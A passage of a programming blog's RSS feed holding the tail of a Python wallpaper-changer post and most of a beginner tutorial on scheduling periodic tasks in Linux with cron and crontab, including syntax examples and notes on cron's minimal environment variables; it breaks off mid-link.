&lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python &lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;change_wallpaper_randomly&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;scheduling-a-wallpaper-change-with-crontab&#34;&gt;Scheduling a wallpaper change with Crontab&lt;/h2&gt;&#xA;&lt;p&gt;If everything went correctly your wallpaper will have changed to a random image in the folder you specified. You can run the script as many times as you want and you will see how your wallpaper will change over and over again with each run.&lt;/p&gt;&#xA;&lt;p&gt;But having to run this command every time we want to change wallpaper is quite cumbersome, wouldn&amp;rsquo;t it be great to schedule it to run every so often?&lt;/p&gt;&#xA;&lt;p&gt;If you already read my post about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/program-periodic-tasks-easily-in-linux-with-cron-and-crontab/&#34;&gt;crontab and cron&lt;/a&gt;&#xA; you should have an idea of how to achieve this, if that&amp;rsquo;s the case skip to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-program-an-automatic-wallpaper-changer-in-python/&#34;&gt;schedule the periodic execution of this script using &lt;em&gt;crontab&lt;/em&gt;&lt;/a&gt;&#xA; in order to proceed with the scheduling of our wallpaper changer.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In this post we are going to create an automatic, random and minimalistic wallpaper changer for GNU/Linux using Python. With no extra functions, super lightweight and totally homemade, its only function will be to randomly select an image and set it as wallpaper. I will explain the function of each line in the code.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Updated&lt;/strong&gt; Updated for Gnome 43 and Python 3.12&lt;/p&gt;&#xA;&lt;p&gt;If you are not familiar with Python syntax, read about one of the best books for getting into Python in my post about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/dive-into-python-the-best-book-to-learn-python/&#34;&gt;the book Python Immersion&lt;/a&gt;&#xA;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Program periodic tasks easily in Linux with Cron and Crontab</title>
      <link>https://coffeebytes.dev/en/linux/program-periodic-tasks-easily-in-linux-with-cron-and-crontab/</link>
      <pubDate>Sat, 01 Feb 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/program-periodic-tasks-easily-in-linux-with-cron-and-crontab/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In this post I&amp;rsquo;ll teach you how to program tasks to be executed every certain amount of time, it could be as complex as you want, just by modifying a simple file, the crontab file, which is available in every popular Linux distribution, if not all of them.&lt;/p&gt;&#xA;&lt;p&gt;Many times we want to run a script or a command every so often, for example when we want to perform periodic backups of a database, send your subscribers a reminder email, or perhaps delete cache files every so often. Cron, in conjunction with Crontab allows you to run a task every so often.&lt;/p&gt;&#xA;&lt;p&gt;A rather naive way would be to create a script and use Python&amp;rsquo;s &lt;em&gt;time.sleep()&lt;/em&gt; method, or its equivalent in another language, to delay its execution for the desired time. However, we don&amp;rsquo;t need to reinvent the wheel; someone already took care of this task in GNU/Linux.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-cron-daemon-and-basic-commands&#34;&gt;The cron daemon and basic commands&lt;/h2&gt;&#xA;&lt;p&gt;Cron is a daemon, available in many GNU/Linux distributions, that reads a file located in the path &lt;em&gt;/var/spool/cron/cron/crontabs/tu_user&lt;/em&gt; and executes the tasks specified there, as long as its specified execution schedule is appropriate.&lt;/p&gt;&#xA;&lt;p&gt;To check the content of the file to be checked by the Cron daemon we will use the &lt;em&gt;crontab&lt;/em&gt; command with the &lt;em&gt;-l&lt;/em&gt; option below&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crontab -l&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This file &lt;strong&gt;should not be edited directly&lt;/strong&gt;, the correct way to modify it is by running the &lt;em&gt;crontab&lt;/em&gt; command, followed by the -e option&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crontab -e&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will open our default terminal text editor. When reviewing the contents we will see that most of the text is commented. Right at the end of the file we can find these lines, which specify the format we will use to schedule our tasks.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h dom mon dow command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The meaning of each element of this line is as follows:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;# Serves to keep this line commented, do not remove it.&lt;/li&gt;&#xA;&lt;li&gt;m stands for minutes&lt;/li&gt;&#xA;&lt;li&gt;h stands for hours&lt;/li&gt;&#xA;&lt;li&gt;dom means day of month (day of month)&lt;/li&gt;&#xA;&lt;li&gt;mon means month (month)&lt;/li&gt;&#xA;&lt;li&gt;dow means day of week (day of week)&lt;/li&gt;&#xA;&lt;li&gt;command means command&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To tell cron how to execute a task we will fill lines in the crontab file following the above pattern. For example:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h dom mon dow command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;* * * * * script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This configuration would execute the &lt;em&gt;script.py&lt;/em&gt; file every minute, every hour, every day of the month, every month, every day of the week.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h dom mon dow command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; * * * script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On the other hand, the above configuration would run &lt;em&gt;script.py&lt;/em&gt; every day at 6:00 am.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h dom mon dow command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; * * &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This one here will run &lt;em&gt;script.py&lt;/em&gt; every Monday at 6:00 a.m. Note that crontab counts Sunday as day 0 and it is also day 7, so you can use the first three English letters of each day, i.e., we can replace the 1 with &amp;lsquo;mon&amp;rsquo;, without the quotes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h dom mon dow command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;30&lt;/span&gt; * * script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This configuration will run our script on the 30th of each month at 6:00 am.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h dom mon dow command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;30&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;12&lt;/span&gt; * script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And finally, this configuration would execute the command on December 30 at 6:00 a.m.&lt;/p&gt;&#xA;&lt;p&gt;Confused? It&amp;rsquo;s normal, I think it takes a little time. Anyway at the end of this post I share with you a great tool to make it easier for you to create and understand these configurations.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;some-more-complex-examples&#34;&gt;Some more complex examples&lt;/h2&gt;&#xA;&lt;p&gt;Maybe we want something more complex than the previous examples, what if we have a script that is in charge of paying employees and we want it to run every 1st and 15th of each month? &lt;strong&gt;In crontab we can separate as many values as we want using commas&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h dom mon dow command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt; 1,15 * *  script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And if we want a script to run every hour, but only during the early morning hours of Saturdays and Sundays, from 12:00 a.m. to 6:00 a.m. &lt;strong&gt;Crontab allows you to specify ranges of values using hyphens&lt;/strong&gt; &lt;strong&gt;Crontab allows you to specify ranges of values using hyphens&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h dom mon dow command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; 0-6 * * 6,7 script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What if we would like to change our wallpaper every 6 hours? No problem, &lt;strong&gt;we can use a slash in crontab to set time periods&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h dom mon dow command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; */6 * * *  script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;crontab-and-environment-variables&#34;&gt;Crontab and environment variables&lt;/h2&gt;&#xA;&lt;p&gt;**There is something very important to remember every time we use Crontab; the environment variables ** Normally in a GNU/Linux system we have a number of environment variables, which we can view using the &lt;em&gt;printenv&lt;/em&gt; command in terminal. Try running the command in your terminal to see how many environment variables your system has. The environment variables can vary greatly according to the user, but the important thing to appreciate is that there are quite a few.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;printenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;USER&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;usuario&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DESKTOP_SESSION&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;default&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;QT_QPA_PLATFORMTHEME&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;qgnomeplatform&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;On the other hand if you get the environment variables that are active when you use Crontab you will notice that they are much less. &lt;strong&gt;The processes that Cron runs from Crontab do not have access to all the environment variables&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;PATH&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/usr/bin:/bin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;LANG&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;es_MX.UTF-8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;HOME&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/home/usuario&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;LANGUAGE&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;es_MX:es&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DBUS_SESSION_BUS_ADDRESS&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;unix:path&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/run/user/1000/bus&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;SHELL&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/bin/sh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;LOGNAME&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;usuario&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;PWD&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/home/usuario&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how the default shell is &lt;em&gt;/bin/sh&lt;/em&gt; instead of &lt;em&gt;/bin/bash&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Why is this important? Because sometimes we schedule tasks that require environment variables in order to run correctly, and if crontab can&amp;rsquo;t access them, it will fail to run them. Again, &lt;strong&gt;remember that crontab does not have access to all environment variables by default&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-crontab-runtime-environment&#34;&gt;The Crontab runtime environment&lt;/h2&gt;&#xA;&lt;p&gt;The crontab runtime environment is a minimal environment, where most of the programs, settings and other customizations we have configured will be absent, so it is important that you don&amp;rsquo;t take for granted that certain commands will be there.&lt;/p&gt;&#xA;&lt;p&gt;For example, simply changing the terminal from &lt;em&gt;/bin/sh&lt;/em&gt; to &lt;em&gt;/bin/bash&lt;/em&gt; already deprives us of using tools like &lt;em&gt;source&lt;/em&gt;. Probably if you are using Python virtual environments or other customization you will have to specify it directly.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-to-set-environment-variables-in-crontab&#34;&gt;How to set environment variables in crontab&lt;/h3&gt;&#xA;&lt;p&gt;To use environment variables it is necessary to load them manually, concatenating the command that loads them with the command we want to run.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;* * * * * . ./app/.env; script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Two important things to remember here:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cron runs processes from root, so make sure to use the absolute path.&lt;/li&gt;&#xA;&lt;li&gt;Because cron uses &lt;em&gt;/bin/sh&lt;/em&gt;, you don&amp;rsquo;t have commands available in bash, like &lt;em&gt;source&lt;/em&gt;, so to load environmental variables use a dot &amp;ldquo;.&amp;rdquo;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can also load them from your &lt;em&gt;.profile&lt;/em&gt; in your home directory.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-to-emulate-crons-environment&#34;&gt;How to emulate cron&amp;rsquo;s environment&lt;/h2&gt;&#xA;&lt;p&gt;Sometimes we want to debug why certain script is not executing the way we want. To do so, I found the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; 